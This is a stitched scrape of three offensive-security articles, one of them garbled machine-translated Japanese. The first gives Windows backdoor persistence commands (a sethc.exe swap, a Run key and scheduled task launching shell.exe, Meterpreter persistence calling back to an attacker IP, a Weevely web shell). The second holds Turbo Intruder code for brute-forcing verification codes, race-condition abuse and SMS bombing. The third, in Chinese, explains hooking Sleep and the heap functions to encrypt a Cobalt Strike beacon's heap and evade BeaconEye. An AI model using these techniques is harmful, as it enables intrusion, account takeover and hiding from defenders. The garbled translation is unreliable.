图片スティッキーキーは、2つ以上のキーを同時に押すのが困難な人向けに設計されたコンピューターで使用されるショートカットキーを指します。粘着性結合の主な機能は、シフトと他のキーの組み合わせを促進することです。スティッキーキーは、最初に2つのキーを同時に押すのではなく、最初に押すことができ、次に他のキーを押すことができます。これは、物理的な理由で複数のキーを同時に押すことができない人にとっては便利です。一般的なコンピューターは、シフトを5回押すと、粘着性のキープロンプトがあります。



次のコマンドを使用します



CD Windows \ System32Move sethc.exe sethc.exe.bakcopy cmd.exe sethc.exe sethc.exe 3图片ターゲットマシンがウィンビスタまたはそれ以上の場合、それは後でwinvistaを修正する必要があります。管理者とその権限の変更：



 图片 图片 图片 图片その後



 图片 图片これで、シフトを5回続けて押して、システム許可CMDがポップアップします



 图片レジスタインジェクションバックドア



 通常のユーザー許可の下で、攻撃者はレジストリに実行する必要があるバックドアプログラムまたはスクリプトパスを書きます



hkey_local_machine \ software \ microsoft \ windows \ currentversion \ run



キー値を任意に設定することも、次のコマンドを実行してスタートアップアイテムを直接追加することもできます。



'hkey_local_machine \ software \ microsoft \ windows \ currentversion \ run' /v



test /t reg_sz /d 'c: \ shell.exe'管理者がシステムに戻ってログインすると、バックドアプログラムが実行されます



 图片プランタスクのバックドア



コマンド:SCHTASKS /CREATE /TN UPDATER /TR C: \ shell.exe /sc hourly /moコマンド上記のコマンドは1時間に1回shell.exeを実行し、Win7以下などのシステムでSchtasksの代わりにATコマンドを使用します。



メータープレターバックドア



MeterPreter Run Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A



マッチングを自動的に開始します



プロキシ-Lに接続するExploit/Multi/Handler％TEMP％が使用されていない場合、ペイロードの位置はターゲットホストに記述されます。



-pペイロードの使用法、デフォルトはWindows/MeterPreter/Reverse_TCPです。



-sはトロイの木馬をサービスとして自動的に開始します（システムの許可を使用）



-t使用する代替実行可能テンプレート



-uユーザーがログインしたときにトロイの木馬は自動的に開始されます



-xシステムがブーツが起動するときにトロイの木馬は自動的に開始されます



-hこのヘルプメニュー



 - 各接続試行の間の時間間隔（秒）



-pポートMetasploitを実行しているシステムが聴いています



-Rメタスプロイトを実行しているシステムのR IP接続を聞いている



欠点は、ウイルス対策ソフトウェアによって簡単に検出され、ターゲットマシンに新しいVBSファイルを作成し、毎回自動的に起動することです。图片WEBバックドア、ここでshell.phpを生成してテストすることができます。



图片 图片ファイルをサーバーディレクトリに入れて実行する



Weevely http://192.168.220.1/shell.phpshellは、ヘルプを見るのに役立ちます



audit.etcpasswd |列挙/etc /passwd audit.userfiles |ユーザー/Home audit.mapwebfilesの下でアクセス許可を持つファイルをリストします|任意のWebサイトshell.php |のURLリンクを列挙しますphp file shell.sh |を書き込みますシステムスクリプトsystem.info |を書き込みますシステム情報を収集します。suidsgid| suid/sgidファイルとディレクトリfind.perms |を検索しますPermissions Readable/Write/Executable Files and Directories Backdoor.tcp |を見つけますTCPポートバックドアバックドア。ReversetCP|リバウンドTCP接続BruteForce.sql |指定されたデータベースのユーザー名とパスワードBruteforce.sqlusers |すべてのデータベースユーザーパスワードfile.upload |を爆破しますローカルファイルfile.upload2web |をアップロードしますバイナリ/ASCIIファイルをターゲットサイトフォルダーにアップロードし、URLファイルを列挙します。ENUM|ローカル語彙file.read |ファイルfile.rm |を読み取りますファイルfile.check |を削除しますリモートファイル（MD5値、サイズ、許可など）のステータスを確認します。ファイル。ダウンロード|リモートバイナリ/ASCIIファイルをローカルSQL.CONSOLEにダウンロードします| SQL Console SQL.Dumpを開始|バックアップデータベース、つまり、net.scan |を除去しますポートスキャンnet.phpproxy |リモートPHPプロキシnet.ifaces |をインストールしますリモートホストネットワークインターフェイス情報net.proxyを表示|を表示しますトンネル通信エージェントをインストールして、いくつかのWindowsコマンドを実行する



 图片ビルトインコマンドをセットします



 图片 图片元のリンクで転載： https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485826Idx=2SN=8F11B7CC12F6C5DFB5EEEEB316F14F460CH KSM=CE67A31BF9102A0D704877584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5CENE=21＃WECHAT_REDIRECT


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 1。プラグインの紹介


 Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。
 2。プラグインの原理


最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン（HTTPパイプライン）を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000％です（Connection: close）
 3。インストール方法


インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png



 iv。使用方法


パケットを選択して右クリックしてターボ侵入者に送信を選択します（パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません）



 1049983-20240322091639122-1416561383.png



 この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。



 1049983-20240322091639931-438133108.png



 コード領域は、ファズする必要がある部品の代わりに「％s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。



 5。使用シナリオ


 1。検証コードブラスト



主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。



検証コードブラスト操作コード：



Itertools Import製品から



def brute_veify_code（ターゲット、エンジン、長さ）:



 pattern='1234567890'＃辞書の生成に使用される#iterativeオブジェクト



 リスト（製品（パターン、繰り返し=長さ））: #Product（）のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。



 code='' .join（i）



 Engine.Queue（ターゲット.req、コード）



def queuerequests（ターゲット、ワードリスト）:



 Engine=requestEngine（endpoint=target.endpoint、＃ターゲットのアドレスを指定します



 concurrentConnections=30、#makeサーバーとの30接続



 RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト



Pipeline=True #Enable Pipeline（HTTP Pipelining）モード



 ））



 brute_veify_code（ターゲット、エンジン、6）#modify検証コード数字の数に従ってモディー



DEF Handleresponse（REQ、興味深い）:



req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します



 Table.Add（req）



デモ：



Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「％s」に置き換え、上記のコードを操作コード領域にコピーします



 1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「％s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで



 1049983-20240322091641780-1235609231.jpg 
 2。同時テスト


同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。



同時テストの操作コード：



def queuerequests（ターゲット、ワードリスト）:



 Engine=requestEngine（endpoint=target.endpoint、



 concurrentConnections=30、



 RequestSperConnection=100、



 パイプライン=false



 ））



 範囲のIの場合（30）: #Create 30リクエスト。



 Engine.queue（ターゲット.req、ターゲット、baseinput、gate='race1'）



#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで



 Engine.opengate（ 'race1'）#identify同じ同時テストに属する要求



 Engine.comPlete（タイムアウト=60）



DEF Handleresponse（REQ、興味深い）:



 Table.Add（req）



デモ：このコードは、プラグイン /examples/race.pyでオプションです



 1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「％s」フィールドが必要なため、リクエストパッケージのどこにでも「％s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg 
 3.SMS爆撃


検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:％sをリクエストヘッダーに追加することを忘れないでください（ターボの％sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に％sはチェックされます）このコードはプラグイン /examples/race.py



1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
加密堆分配為什麼要對堆分配進行加密？堆棧是局部作用域的，通常在函數完成時退出作用域。這意味著在函數運行期間設置在堆棧上的項目會在函數返回並完成時脫離堆棧；這顯然不適用於你長期保存內存變量的期望。此時，就需要用到堆了。堆更像是一種長期內存存儲解決方案。堆上的分配保留在堆上，直到你手動釋放它們。如果你不斷地將數據分配到堆上而從未釋放任何內容，也可能導致內存溢出。也就是說，堆可能包含長期配置信息，例如Cobalt Strike 的犧牲進程、休眠時間、回調路徑等。這意味著如果你的Cobalt Strike 代理在內存中運行，則任何防御者都可以在進程堆空間中以純文本形式看到你的配置。作為防御者，我們甚至不需要識別你注入的線程，就可以輕鬆地HeapWalk()所有分配並確定像“%windir%”這樣簡單的內容來嘗試識別你的犧牲進程：



 1.png



如你所見，這是一個非常令人擔憂的想法。既然我們已經了解了這個問題，現在就必須去解決它。



我們有幾個潛在的解決方案，不過每個方案各有其優缺點。讓我們從獨立的EXE情況開始，因為這個要簡單得多。該二進製文件是你的Cobalt Strike 有效載荷。在這種情況下，我們可以很容易地實現我們的目標。使用前面提到的HeapWalk() 函數，我們就可以迭代堆中的每個分配並對其進行加密！為了防止錯誤，我們可以在加密堆之前掛起所有線程，然後在加密後恢復所有線程。



即使你認為你的程序是單線程的，Windows 似乎也在後台提供線程，為RPC 和WININET 等實用程序執行垃圾收集和其他類型的函數。如果你不掛起這些線程，它們將在嘗試引用加密分配時使你的進程崩潰。崩潰示例如下：



 2.webp.jpg



Windows 後台線程



 3.webp.jpg



wininet.dll 線程崩潰



從理論上講，這是一個很容易實現的方法！最後一個難題是如何在Cobalt Strike 休眠時調用所有這些函數，解決方法很簡單。



掛鉤如果我們查看Cobalt Strike 二進製文件的IAT（導入地址表），我們將看到它利用Kernel32.dll Sleep 來實現其休眠函數。



 4.webp.jpg



Cobalt Strike 進口我們需要做的就是在kernel32.dll 中掛鉤Sleep，然後將掛鉤休眠中的行為修改為以下內容：



 5.png



基本上，我們掛起所有的線程並運行我們的加密例程，如下所示：



 6.png



這將創建一個PROCESS_HEAP_ENTRY 結構，在每次調用時將其清零，然後遍歷堆並將數據放入該結構中。然後我們檢查當前堆條目的標誌並驗證它是否已分配，以便我們只對分配進行加密。



然後我們運行原始/舊休眠函數，該函數將作為掛鉤函數的一部分創建，然後在恢復線程之前解密。這樣我們就可以防止再次引用分配時發生崩潰。總之，這是一個相當簡單的進程。目前我們還沒有用到的是掛鉤功能。



首先，什麼是函數掛鉤？函數掛鉤意味著我們在進程空間內重新路由對函數的調用，例如Sleep() ，以在內存中運行我們的任意函數。這樣，我們局可以改變函數的行為，觀察被調用的參數（因為我們的任意函數現在被調用，可以打印傳遞給它的參數），甚至完全阻止函數工作。在許多情況下，這就是EDR 監控可疑行為並發出警報的方式。他們掛鉤自認為有趣的函數，例如CreateRemoteThread，並記錄所有的參數，以便以後在可疑調用時發出警報。



那如何掛鉤該函數？有很多方法可以實現這一點，但我只會提到兩種並深入研究一種。我將提到的兩種技術是IAT掛鉤和Trampoline Patching



IAT掛鉤IAT 掛鉤背後的想法很簡單，每個進程空間都有所謂的導入地址表。此表包含已由二進製文件導入以供使用的DLL 和相關函數指針的列表。推薦的和最穩定的掛鉤方法是遍歷導入地址表，識別你嘗試掛鉤的DLL，識別你想要掛鉤的函數並覆蓋其指向任意掛鉤函數的函數指針。每當進程調用該函數時，它都會定位指針並調用你的函數。如果你想調用舊函數作為掛鉤函數的一部分，你可以存儲舊指針，ired.team 上已經存在一個示例。



這種方法有優點也有缺點，優點是實現起來非常簡單，而且非常穩定。你只是改變了調用的函數，你並沒有改變任何內容，但卻有很大的崩潰風險。



如果使用GetProcAddress() 來解析函數，它不會在IAT 中。這是一個非常有針對性的掛鉤方法，可以帶來好處，但如果你想監視更廣泛的調用，例如能夠掛鉤NtCreateThreadEx 與僅使用CreateRemoteThread，理論上也更容易檢測。



Trampoline Patching



現在讓我們談談Trampoline Patching。 Trampoline Patching 更難實現，很不穩定，並且由於必須解決許多相對尋址問題，因此可能需要很長時間才能對x64 進行普遍處理。值得慶幸的是，已經有人花時間製作了一個開源庫，以非常穩定的方式執行所有這些操作。



接下來讓我們繼續看看掛鉤是如何工作的，這樣我們就可以根據需要重新實現我們自己的掛鉤。首先使用GetProcAddress 和LoadLibrary 解析函數。然後，解析有效程序集的前X個指令數，加起來最少為五個字節。更具體地說，我們將使用一種非常常見的技術，該技術使用五字節相對跳轉操作碼(E9) 從函數庫跳轉到+- 2GB 的位置，然後跳轉到我們的任意函數。顯然，要使其工作，我們需要覆蓋函數的前五個字節。如果我們這樣做，就需要再次調用它這樣會破壞原始函數。為了確保我們可以在需要時解決舊函數，就必須保存第一條指令，稍後將寫入代碼cave作為trampoline的一部分，該trampoline將為我們運行它，然後跳回下一條指令的函數。但如果第一條指令只有四個字節，寫入五個字節就會破壞第二條指令的第一個操作碼。然後我們需要將前兩條指令存儲在我們的trampoline中，現在trampoline將運行前兩條指令並跳回到第三條指令繼續執行。這個trampoline所在的地方將是被掛鉤的原始函數的新指針。所以，原來的函數指針現在是這樣運行。



 7.png



這個代碼cave也會跳轉到任意函數的某個位置，寫在原始函數基礎的相對五字節跳轉跳轉到這個位置，然後像這樣跳轉到任意函數。



 8.png



這樣，我們現在就有了一種方法，可以在調用舊函數時運行任意函數，並根據需要調用原始函數。



現在讓我們開始調試，看看MessageBoxA 是乾淨的還是經過掛鉤的。



首先，我們掛鉤MessageBoxA。代碼看起來像這樣：



 9.png



MessageBoxA位於user32.dll中，找到基地址後，Patching所有內容，向cave添加一些代碼，解析相對跳轉並將trampoline存儲在OldMessageBoxA() 中。



任意/掛鉤MessageBoxA 函數將如下所示：



 10.png



我們需要匹配返回類型和參數，此時，我們將運行原始MessageBoxA，無論如何我們將修改文本，始終顯示“HOOKED”。



現在看一下前後對比情況：



 11.1.webp.jpg



 11.2.webp.jpg



Patching未進行掛鉤的消息框之前



 12.1.webp.jpg



 12.2.jpg



Patching進行掛鉤的消息框之後



如你所見，在BEFORE 屏幕截圖中，第一條指令只有四個字節。這意味著我們需要存儲前兩條指令；然後我們的相對跳轉繼續覆蓋前五個。我們不需要修改剩餘的字節，因為我們將讓trampoline執行我們存儲的前兩個字節，然後跳回位置0x00007FF8EF70AC27。讓我們繼續在調試器中查看新的掛鉤函數是什麼樣的。我們將在運行JMP 後立即開始：



 13.webp.jpg



跳轉到掛鉤函數



首先看到兩個00。這樣做是為了確保如果我們將多個trampoline寫入cave，我們不會覆蓋函數指針中00 00 的末尾。接下來我們看到FF 25 00 00 00 00，也就是JMP QWORD PTR指令。緊接著，你將看到八個字節，它們是掛鉤函數的指針！如果我們執行這條指令，就會看到：



 14.webp.jpg



掛鉤函數中的第一條指令



最後：



 15.webp.jpg



內部掛鉤函數



我們可以看到我們在我們的掛鉤函數中，掛鉤函數只運行並返回舊函數，所以讓我們繼續執行舊函數：



 16.webp.jpg



調用舊函數



讓我們看看結果如何：



 17.webp.jpg



trampoline



如果你看這張圖，可以看到我們正在執行我們覆蓋的前兩條指令。在復制的字節之後，我們對OriginalFunction+7的位置執行第二個JMP QWORD PTR(因為在這個示例中trampoline的大小是7個字節)。這將使我們處於第三條指令的開頭。讓我們來看看：



 18.webp.jpg



繼續執行



可以看到我們現在處於CMP 指令處，從我們停止的地方繼續執行。



通過這個進程，你可以看到像minhook 這樣的實用程序是如何工作的。現在，你可以像我一樣自己實現它，也可以使用像minhook 這樣穩定的內容。



 19.png



將EXE 放在一起把所有內容放在一起看看它是什麼樣子的：



Hook Sleep()；



在掛鉤函數中，掛起所有線程；



使用HeapWalk() 加密所有分配；



通過trampoline函數運行原始的Sleep()；



使用HeapWalk() 解密所有分配；



恢復所有線程；



我將假設你擁有自己的加密、掛鉤和完整的線程掛起函數。代碼如下所示：



 20.png



非常簡單，這段代碼顯然不包括你的植入程序。你可以通過以某種方式執行shell 代碼在同一進程空間中運行植入程序，也可以將其轉換為DLL 並將其註入執行後的信標中。由於它使用了HeapWalk()，所以它可以加密過去、現在和將來的分配，只需要掛鉤Sleep() 來開始調用。



在這個演示中，對於任何sleep值為1或更少的內容，我們都不加密。



 21.gif



EXE HeapWalk() 加密器演示



如你所見，首先我們進行1 次休眠，BeaconEye 會捕獲我們的配置。將sleep值修改為5，然後開始加密，成功關閉BeaconEye。



注意，由於這會加密所有堆分配，因此它不會作為註入線程工作，因為當Cobalt Strike 處於休眠狀態時，它注入的進程將無法運行。想像一下注入explorer.exe，每次信標休眠時，所有的Explorer 都會凍結。當需要作為線程注入時，這個解決方案顯然不是最佳的。如果我們想要一些可以作為線程工作的內容，將需要做更多的工作。



可以在此處找到演示過程。



線程目標堆加密我們的新設計必須使用單獨的線程，因為無法掛起額外的線程也無法鎖定堆，主進程將需要繼續運行。這意味著當我們注入一個信標線程時，必須確保所有加密的分配都只來自該線程。如果我們正確定位線程，則可以成功地避免該問題。



現在在我們的dropper 中有掛鉤函數。為了操作堆，需要在Windows 中調用了一個函數子集：



HeapCreate()



HeapAllocate()



HeapReAllocate()



HeapFree()



HeapDestroy()



Windows中的Malloc和free，位於msvcrt.dll中，實際上是HeapAllocate()和HeapFree()的高級包裝器，它們是RtlAllocateHeap()和RtlFreeHeap()的高級包裝器，它們是Windows中最低級別的函數，最終直接管理堆。



 22.webp.jpg



來自Ghidra的圖



這意味著如果我們掛鉤RtlAllocateHeap()、RtlReAllocateHeap() 和RtlFreeHeap()，則可以在Cobalt Strike 中跟踪堆空間內分配和釋放的所有內容。通過掛鉤這三個函數，我們可以在映射中插入分配和重新分配，並在調用free 時將它們從映射中刪除，但這仍然不能解決我們的線程目標問題。



事實證明，如果你從一個鉤子函數調用GetCurrentThreadId()，你實際上可以獲取調用線程的線程id，使用它，你可以注入你的信標，獲取其線程id 並執行類似於以下的操作：



 23.png



這樣做是為了重新分配，也可以免費進行刪除，現在你的目標是一個線程！到目前為止很容易。但是還記得之前的那個問題，我們不得不掛起其他線程的原因嗎？在我們及時解密之前，WININET 和RPC 調用仍會嘗試訪問加密的內存。這裡有幾個選項，但我使用了我認為有趣的選項。由於加載的shell 代碼既不是有效的EXE 也不是DLL，因此我能夠從任何發起調用的對像中進行分配，這些調用源自沒有名稱的模塊。



為了讓這個機制起作用，我們需要解析進行函數調用的模塊。這可以通過以下代碼實現：



 24.png



這將獲得_ReturnAddress內在函數，並將其與GetModuleHandleEx和標誌



GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 一起使用，以識別哪個模塊正在進行此調用。然後我們可以將其轉換為小寫字符串，如果字符串不包含DLL 或EXE，我們繼續插入它。這樣，你就有了一個穩定的分配列表，可以在休眠時加密。你將需要重複這個進程為你的掛鉤重新分配。



要運行加密，你需要迭代列表並加密這些分配，而不是執行HeapWalk()。這將取決於你是否決定使用映射、矢量、鍊錶或其他內容。你希望將真正的HeapAlloc或ReAlloc返回的指針存儲到您的數組中，迭代數組並按大小對數據進行加密。上面示例中的Arg3是size 。



現在我們掛鉤了四個不同的函數，將基於線程id 的分配插入向量中，迭代向量並在休眠時加密每個地址。如果成功，我們應該可以再次繞過BeaconEye。